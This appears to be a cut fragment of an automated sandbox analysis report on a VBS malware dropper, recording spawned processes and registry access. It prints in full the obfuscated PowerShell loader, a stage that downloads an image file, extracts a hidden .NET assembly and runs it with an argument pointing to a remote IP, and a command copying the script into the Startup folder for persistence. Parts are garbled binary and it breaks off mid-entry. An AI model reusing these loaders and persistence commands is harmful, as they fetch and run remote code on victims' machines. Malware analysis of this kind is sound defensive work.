t#@$#G0#@$#YQBu#@$#GQ#@$#QgB5#@$#HQ#@$#ZQBz#@$#Ck#@$#Ow#@$#k#@$#HQ#@$#eQBw#@$#GU#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bs#@$#G8#@$#YQBk#@$#GU#@$#Z#@$#BB#@$#HM#@$#cwBl#@$#G0#@$#YgBs#@$#Hk#@$#LgBH#@$#GU#@$#d#@$#BU#@$#Hk#@$#c#@$#Bl#@$#Cg#@$#JwBG#@$#Gk#@$#YgBl#@$#HI#@$#LgBI#@$#G8#@$#bQBl#@$#Cc#@$#KQ#@$#7#@$#CQ#@$#bQBl#@$#HQ#@$#a#@$#Bv#@$#GQ#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#B0#@$#Hk#@$#c#@$#Bl#@$#C4#@$#RwBl#@$#HQ#@$#TQBl#@$#HQ#@$#a#@$#Bv#@$#GQ#@$#K#@$##@$#n#@$#FY#@$#QQBJ#@$#Cc#@$#KQ#@$#7#@$#CQ#@$#YQBy#@$#Gc#@$#dQBt#@$#GU#@$#bgB0#@$#HM#@$#I#@$##@$#9#@$#C#@$##@$#L#@$##@$#o#@$#Cc#@$#d#@$#B4#@$#HQ#@$#Lg#@$#5#@$#D#@$##@$#d#@$#By#@$#GU#@$#LwBs#@$#HQ#@$#Lw#@$#3#@$#DY#@$#MQ#@$#u#@$#DE#@$#Ng#@$#x#@$#C4#@$#Ng#@$#1#@$#DE#@$#Lg#@$#0#@$#Dk#@$#Lw#@$#v#@$#Do#@$#c#@$#B0#@$#HQ#@$#a#@$##@$#n#@$#Ck#@$#Ow#@$#k#@$#G0#@$#ZQB0#@$#Gg#@$#bwBk#@$#C4#@$#SQBu#@$#HY#@$#bwBr#@$#GU#@$#K#@$##@$#k#@$#G4#@$#dQBs#@$#Gw#@$#L#@$##@$#g#@$#CQ#@$#YQBy#@$#Gc#@$#dQBt#@$#GU#@$#bgB0#@$#HM#@$#KQ#@$#=';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('#@$#','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD" (UID: 00000000-00003724) Process "powershell.exe" with commandline "-windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<>';$endFlag = '<>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ('txt.90tre/lt/761.161.651.49//:ptth');$method.Invoke($null, $arguments)"" (UID: 00000000-00002752)4b:Ta64,Process "powershell.exe" with commandline "-windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<>';$endFlag = '<>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ('txt.90tre/lt/761.161.651.49//:ptth');$method.Invoke($null, $arguments)"" (UID: 00000000-00002752, Additional Context: "%WINDIR%\System32\WindowsPowerShell\v1.\powershell.exe" windowstyle hidden executionpolicy bypss NoProfile command "$imageUrl 'https://uploaddeimagens.com.br/images/4/563/621/original/universo_vbs.jpeg?169931855'[System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) [System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) [System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>)[System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) + <>.Length4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB8493114D2CACB5E9937B1B449DCA1D8A78144C5F67AD4ADAE29E8A66A781CAD7AC22775EC4E7C11213AE43434B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB849311[System.Reflection.Assembly]::Load(4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB8493114D2CACB5E9937B1B449DCA1D8A78144C5F67AD4ADAE29E8A66A781CAD7AC22775EC4E7C11213AE43434B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB849311).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, ,('txt.9tre/lt/761.161.651.49//:ptth')); K+-zd��'r�b��+k�x"��+^�+��M�mw(v)�Q1|�R��)��r��9�@HN�I0M,��{D��xL_z��)��f�x�z�'u�N|�44��M�mw(v)�Q1|�R��)��r��9�@HN�I0")4c:T405,Process "powershell.exe" with commandline "-windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<>';$endFlag = '<>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ('txt.90tre/lt/761.161.651.49//:ptth');$method.Invoke($null, $arguments)"" (UID: 00000000-00002752)4d:T1390,"-command $Codigo = 'J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#VQBy#@$#Gw#@$#I#@$##@$#9#@$#C#@$##@$#JwBo#@$#HQ#@$#d#@$#Bw#@$#HM#@$#Og#@$#v#@$#C8#@$#dQBw#@$#Gw#@$#bwBh#@$#GQ#@$#Z#@$#Bl#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBu#@$#HM#@$#LgBj#@$#G8#@$#bQ#@$#u#@$#GI#@$#cg#@$#v#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBz#@$#C8#@$#M#@$##@$#w#@$#DQ#@$#Lw#@$#1#@$#DY#@$#Mw#@$#v#@$#DY#@$#Mg#@$#x#@$#C8#@$#bwBy#@$#Gk#@$#ZwBp#@$#G4#@$#YQBs#@$#C8#@$#dQBu#@$#Gk#@$#dgBl#@$#HI#@$#cwBv#@$#F8#@$#dgBi#@$#HM#@$#LgBq#@$#H#@$##@$#ZQBn#@$#D8#@$#MQ#@$#2#@$#Dk#@$#M#@$##@$#5#@$#DM#@$#MQ#@$#4#@$#DU#@$#NQ#@$#n#@$#Ds#@$#J#@$#B3#@$#GU#@$#YgBD#@$#Gw#@$#aQBl#@$#G4#@$#d#@$##@$#g#@$#D0#@$#I#@$#BO#@$#GU#@$#dw#@$#t#@$#E8#@$#YgBq#@$#GU#@$#YwB0#@$#C#@$##@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBO#@$#GU#@$#d#@$##@$#u#@$#Fc#@$#ZQBi#@$#EM#@$#b#@$#Bp#@$#GU#@$#bgB0#@$#Ds#@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#QgB5#@$#HQ#@$#ZQBz#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#dwBl#@$#GI#@$#QwBs#@$#Gk#@$#ZQBu#@$#HQ#@$#LgBE#@$#G8#@$#dwBu#@$#Gw#@$#bwBh#@$#GQ#@$#R#@$#Bh#@$#HQ#@$#YQ#@$#o#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#FU#@$#cgBs#@$#Ck#@$#Ow#@$#k#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBU#@$#GU#@$#e#@$#B0#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBU#@$#GU#@$#e#@$#B0#@$#C4#@$#RQBu#@$#GM#@$#bwBk#@$#Gk#@$#bgBn#@$#F0#@$#Og#@$#6#@$#FU#@$#V#@$#BG#@$#Dg#@$#LgBH#@$#GU#@$#d#@$#BT#@$#HQ#@$#cgBp#@$#G4#@$#Zw#@$#o#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#EI#@$#eQB0#@$#GU#@$#cw#@$#p#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#g#@$#D0#@$#I#@$##@$#n#@$#Dw#@$#P#@$#BC#@$#EE#@$#UwBF#@$#DY#@$#N#@$#Bf#@$#FM#@$#V#@$#BB#@$#FI#@$#V#@$##@$#+#@$#D4#@$#Jw#@$#7#@$#CQ#@$#ZQBu#@$#GQ#@$#RgBs#@$#GE#@$#Zw#@$#g#@$#D0#@$#I#@$##@$#n#@$#Dw#@$#P#@$#BC#@$#EE#@$#UwBF#@$#DY#@$#N#@$#Bf#@$#EU#@$#TgBE#@$#D4#@$#Pg#@$#n#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#FQ#@$#ZQB4#@$#HQ#@$#LgBJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#TwBm#@$#Cg#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#p#@$#Ds#@$#J#@$#Bl#@$#G4#@$#Z#@$#BJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#V#@$#Bl#@$#Hg#@$#d#@$##@$#u#@$#Ek#@$#bgBk#@$#GU#@$#e#@$#BP#@$#GY#@$#K#@$##@$#k#@$#GU#@$#bgBk#@$#EY#@$#b#@$#Bh#@$#Gc#@$#KQ#@$#7#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#ZwBl#@$#C#@$##@$#M#@$##@$#g#@$#C0#@$#YQBu#@$#GQ#@$#I#@$##@$#k#@$#GU#@$#bgBk#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#ZwB0#@$#C#@$##@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#C#@$##@$#Kw#@$#9#@$#C#@$##@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#u#@$#Ew#@$#ZQBu#@$#Gc#@$#d#@$#Bo#@$#Ds#@$#J#@$#Bi#@$#GE#@$#cwBl#@$#DY#@$#N#@$#BM#@$#GU#@$#bgBn#@$#HQ#@$#a#@$##@$#g#@$#D0#@$#I#@$##@$#k#@$#GU#@$#bgBk#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#I#@$##@$#k#@$#HM#@$#d#@$#Bh#@$#HI#@$#d#@$#BJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#Ow#@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#EM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#V#@$#Bl#@$#Hg#@$#d#@$##@$#u#@$#FM#@$#dQBi#@$#HM#@$#d#@$#By#@$#Gk#@$#bgBn#@$#Cg#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#Cw#@$#I#@$##@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#Ew#@$#ZQBu#@$#Gc#@$#d#@$#Bo#@$#Ck#@$#Ow#@$#k#@$#GM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#QgB5#@$#HQ#@$#ZQBz#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBD#@$#G8#@$#bgB2#@$#GU#@$#cgB0#@$#F0#@$#Og#@$#6#@$#EY#@$#cgBv#@$#G0#@$#QgBh#@$#HM#@$#ZQ#@$#2#@$#DQ#@$#UwB0#@$#HI#@$#aQBu#@$#Gc#@$#K#@$##@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#EM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#KQ#@$#7#@$#CQ#@$#b#@$#Bv#@$#GE#@$#Z#@$#Bl#@$#GQ#@$#QQBz#@$#HM#@$#ZQBt#@$#GI#@$#b#@$#B5#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBS#@$#GU#@$#ZgBs#@$#GU#@$#YwB0#@$#Gk#@$#bwBu#@$#C4#@$#QQBz#@$#HM#@$#ZQBt#@$#GI#@$#b#@$#B5#@$#F0#@$#Og#@$#6#@$#Ew#@$#bwBh#@$#GQ#@$#K#@$##@$#k#@$#GM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#QgB5#@$#HQ#@$#ZQBz#@$#Ck#@$#Ow#@$#k#@$#HQ#@$#eQBw#@$#GU#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bs#@$#G8#@$#YQBk#@$#GU#@$#Z#@$#BB#@$#HM#@$#cwBl#@$#G0#@$#YgBs#@$#Hk#@$#LgBH#@$#GU#@$#d#@$#BU#@$#Hk#@$#c#@$#Bl#@$#Cg#@$#JwBG#@$#Gk#@$#YgBl#@$#HI#@$#LgBI#@$#G8#@$#bQBl#@$#Cc#@$#KQ#@$#7#@$#CQ#@$#bQBl#@$#HQ#@$#a#@$#Bv#@$#GQ#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#B0#@$#Hk#@$#c#@$#Bl#@$#C4#@$#RwBl#@$#HQ#@$#TQBl#@$#HQ#@$#a#@$#Bv#@$#GQ#@$#K#@$##@$#n#@$#FY#@$#QQBJ#@$#Cc#@$#KQ#@$#7#@$#CQ#@$#YQBy#@$#Gc#@$#dQBt#@$#GU#@$#bgB0#@$#HM#@$#I#@$##@$#9#@$#C#@$##@$#L#@$##@$#o#@$#Cc#@$#d#@$#B4#@$#HQ#@$#Lg#@$#5#@$#D#@$##@$#d#@$#By#@$#GU#@$#LwBs#@$#HQ#@$#Lw#@$#3#@$#DY#@$#MQ#@$#u#@$#DE#@$#Ng#@$#x#@$#C4#@$#Ng#@$#1#@$#DE#@$#Lg#@$#0#@$#Dk#@$#Lw#@$#v#@$#Do#@$#c#@$#B0#@$#HQ#@$#a#@$##@$#n#@$#Ck#@$#Ow#@$#k#@$#G0#@$#ZQB0#@$#Gg#@$#bwBk#@$#C4#@$#SQBu#@$#HY#@$#bwBr#@$#GU#@$#K#@$##@$#k#@$#G4#@$#dQBs#@$#Gw#@$#L#@$##@$#g#@$#CQ#@$#YQBy#@$#Gc#@$#dQBt#@$#GU#@$#bgB0#@$#HM#@$#KQ#@$#=';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('#@$#','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD" on 2023-8-15.13:38:35.8274e:T1b17,Spawned process "WScript.exe" with commandline ""C:\\EGK.vbs"" (UID: 00000000-00003604) Spawned process "cmd.exe" with commandline "/c ping 127.0.0.1 -n 5 & cmd.exe /c "powershell -command [System.IO.File]::Copy('C:\\EGK.vbs','%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ GGw.vbs')"" (UID: 00000000-00003244) Spawned process "PING.EXE" with commandline "ping 127.0.0.1 -n 5" (UID: 00000000-00003684) Spawned process "cmd.exe" with commandline "/c "powershell -command [System.IO.File]::Copy('C:\\EGK.vbs','%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ GGw.vbs')"" (UID: 00000000-00001976) Spawned process "powershell.exe" with commandline "powershell -command [System.IO.File]::Copy('C:\\EGK.vbs','%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ GGw.vbs')" (UID: 00000000-00002396) Spawned process "powershell.exe" with commandline "-command $Codigo = 'J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#VQBy#@$#Gw#@$#I#@$##@$#9#@$#C#@$##@$#JwBo#@$#HQ#@$#d#@$#Bw#@$#HM#@$#Og#@$#v#@$#C8#@$#dQBw#@$#Gw#@$#bwBh#@$#GQ#@$#Z#@$#Bl#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBu#@$#HM#@$#LgBj#@$#G8#@$#bQ#@$#u#@$#GI#@$#cg#@$#v#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBz#@$#C8#@$#M#@$##@$#w#@$#DQ#@$#Lw#@$#1#@$#DY#@$#Mw#@$#v#@$#DY#@$#Mg#@$#x#@$#C8#@$#bwBy#@$#Gk#@$#ZwBp#@$#G4#@$#YQBs#@$#C8#@$#dQBu#@$#Gk#@$#dgBl#@$#HI#@$#cwBv#@$#F8#@$#dgBi#@$#HM#@$#LgBq#@$#H#@$##@$#ZQBn#@$#D8#@$#MQ#@$#2#@$#Dk#@$#M#@$##@$#5#@$#DM#@$#MQ#@$#4#@$#DU#@$#NQ#@$#n#@$#Ds#@$#J#@$#B3#@$#GU#@$#YgBD#@$#Gw#@$#aQBl#@$#G4#@$#d#@$##@$#g#@$#D0#@$#I#@$#BO#@$#GU#@$#dw#@$#t#@$#E8#@$#YgBq#@$#GU#@$#YwB0#@$#C#@$##@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBO#@$#GU#@$#d#@$##@$#u#@$#Fc#@$#ZQBi#@$#EM#@$#b#@$#Bp#@$#GU#@$#bgB0#@$#Ds#@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#QgB5#@$#HQ#@$#ZQBz#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#dwBl#@$#GI#@$#QwBs#@$#Gk#@$#ZQBu#@$#HQ#@$#LgBE#@$#G8#@$#dwBu#@$#Gw#@$#bwBh#@$#GQ#@$#R#@$#Bh#@$#HQ#@$#YQ#@$#o#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#FU#@$#cgBs#@$#Ck#@$#Ow#@$#k#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBU#@$#GU#@$#e#@$#B0#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBU#@$#GU#@$#e#@$#B0#@$#C4#@$#RQBu#@$#GM#@$#bwBk#@$#Gk#@$#bgBn#@$#F0#@$#Og#@$#6#@$#FU#@$#V#@$#BG#@$#Dg#@$#LgBH#@$#GU#@$#d#@$#BT#@$#HQ#@$#cgBp#@$#G4#@$#Zw#@$#o#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#EI#@$#eQB0#@$#GU#@$#cw#@$#p#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#g#@$#D0#@$#I#@$##@$#n#@$#Dw#@$#P#@$#BC#@$#EE#@$#UwBF#@$#DY#@$#N#@$#Bf#@$#FM#@$#V#@$#BB#@$#FI#@$#V#@$##@$#+#@$#D4#@$#Jw#@$#7#@$#CQ#@$#ZQBu#@$#GQ#@$#RgBs#@$#GE#@$#Zw#@$#g#@$#D0#@$#I#@$##@$#n#@$#Dw#@$#P#@$#BC#@$#EE#@$#UwBF#@$#DY#@$#N#@$#Bf#@$#EU#@$#TgBE#@$#D4#@$#Pg#@$#n#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#FQ#@$#ZQB4#@$#HQ#@$#LgBJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#TwBm#@$#Cg#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#p#@$#Ds#@$#J#@$#Bl#@$#G4#@$#Z#@$#BJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#V#@$#Bl#@$#Hg#@$#d#@$##@$#u#@$#Ek#@$#bgBk#@$#GU#@$#e#@$#BP#@$#GY#@$#K#@$##@$#k#@$#GU#@$#bgBk#@$#EY#@$#b#@$#Bh#@$#Gc#@$#KQ#@$#7#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#ZwBl#@$#C#@$##@$#M#@$##@$#g#@$#C0#@$#YQBu#@$#GQ#@$#I#@$##@$#k#@$#GU#@$#bgBk#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#ZwB0#@$#C#@$##@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#C#@$##@$#Kw#@$#9#@$#C#@$##@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#u#@$#Ew#@$#ZQBu#@$#Gc#@$#d#@$#Bo#@$#Ds#@$#J#@$#Bi#@$#GE#@$#cwBl#@$#DY#@$#N#@$#BM#@$#GU#@$#bgBn#@$#HQ#@$#a#@$##@$#g#@$#D0#@$#I#@$##@$#k#@$#GU#@$#bgBk#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#I#@$##@$#k#@$#HM#@$#d#@$#Bh#@$#HI#@$#d#@$#BJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#Ow#@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#EM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#V#@$#Bl#@$#Hg#@$#d#@$##@$#u#@$#FM#@$#dQBi#@$#HM#@$#d#@$#By#@$#Gk#@$#bgBn#@$#Cg#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#Cw#@$#I#@$##@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#Ew#@$#ZQBu#@$#Gc#@$#d#@$#Bo#@$#Ck#@$#Ow#@$#k#@$#GM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#QgB5#@$#HQ#@$#ZQBz#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBD#@$#G8#@$#bgB2#@$#GU#@$#cgB0#@$#F0#@$#Og#@$#6#@$#EY#@$#cgBv#@$#G0#@$#QgBh#@$#HM#@$#ZQ#@$#2#@$#DQ#@$#UwB0#@$#HI#@$#aQBu#@$#Gc#@$#K#@$##@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#EM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#KQ#@$#7#@$#CQ#@$#b#@$#Bv#@$#GE#@$#Z#@$#Bl#@$#GQ#@$#QQBz#@$#HM#@$#ZQBt#@$#GI#@$#b#@$#B5#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBS#@$#GU#@$#ZgBs#@$#GU#@$#YwB0#@$#Gk#@$#bwBu#@$#C4#@$#QQBz#@$#HM#@$#ZQBt#@$#GI#@$#b#@$#B5#@$#F0#@$#Og#@$#6#@$#Ew#@$#bwBh#@$#GQ#@$#K#@$##@$#k#@$#GM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#QgB5#@$#HQ#@$#ZQBz#@$#Ck#@$#Ow#@$#k#@$#HQ#@$#eQBw#@$#GU#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bs#@$#G8#@$#YQBk#@$#GU#@$#Z#@$#BB#@$#HM#@$#cwBl#@$#G0#@$#YgBs#@$#Hk#@$#LgBH#@$#GU#@$#d#@$#BU#@$#Hk#@$#c#@$#Bl#@$#Cg#@$#JwBG#@$#Gk#@$#YgBl#@$#HI#@$#LgBI#@$#G8#@$#bQBl#@$#Cc#@$#KQ#@$#7#@$#CQ#@$#bQBl#@$#HQ#@$#a#@$#Bv#@$#GQ#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#B0#@$#Hk#@$#c#@$#Bl#@$#C4#@$#RwBl#@$#HQ#@$#TQBl#@$#HQ#@$#a#@$#Bv#@$#GQ#@$#K#@$##@$#n#@$#FY#@$#QQBJ#@$#Cc#@$#KQ#@$#7#@$#CQ#@$#YQBy#@$#Gc#@$#dQBt#@$#GU#@$#bgB0#@$#HM#@$#I#@$##@$#9#@$#C#@$##@$#L#@$##@$#o#@$#Cc#@$#d#@$#B4#@$#HQ#@$#Lg#@$#5#@$#D#@$##@$#d#@$#By#@$#GU#@$#LwBs#@$#HQ#@$#Lw#@$#3#@$#DY#@$#MQ#@$#u#@$#DE#@$#Ng#@$#x#@$#C4#@$#Ng#@$#1#@$#DE#@$#Lg#@$#0#@$#Dk#@$#Lw#@$#v#@$#Do#@$#c#@$#B0#@$#HQ#@$#a#@$##@$#n#@$#Ck#@$#Ow#@$#k#@$#G0#@$#ZQB0#@$#Gg#@$#bwBk#@$#C4#@$#SQBu#@$#HY#@$#bwBr#@$#GU#@$#K#@$##@$#k#@$#G4#@$#dQBs#@$#Gw#@$#L#@$##@$#g#@$#CQ#@$#YQBy#@$#Gc#@$#dQBt#@$#GU#@$#bgB0#@$#HM#@$#KQ#@$#=';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('#@$#','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD" (UID: 00000000-00003724) Spawned process "powershell.exe" with commandline "-windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<>';$endFlag = '<>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ('txt.90tre/lt/761.161.651.49//:ptth');$method.Invoke($null, $arguments)"" (UID: 00000000-00002752)4f:T4de,"WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\INTERNET EXPLORER\SECURITY") "WScript.exe" (Access type: "QUERY"; Path: "HKCU\SOFTWARE") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\SECURITY") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\SECURITY") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\EXEFILE\SHELL\OPEN\COMMAND") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE\SHELL\OPEN\COMMAND") "WScript.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE\SHELL\OPEN\COMMAND") "WScript.exe" (Access type: 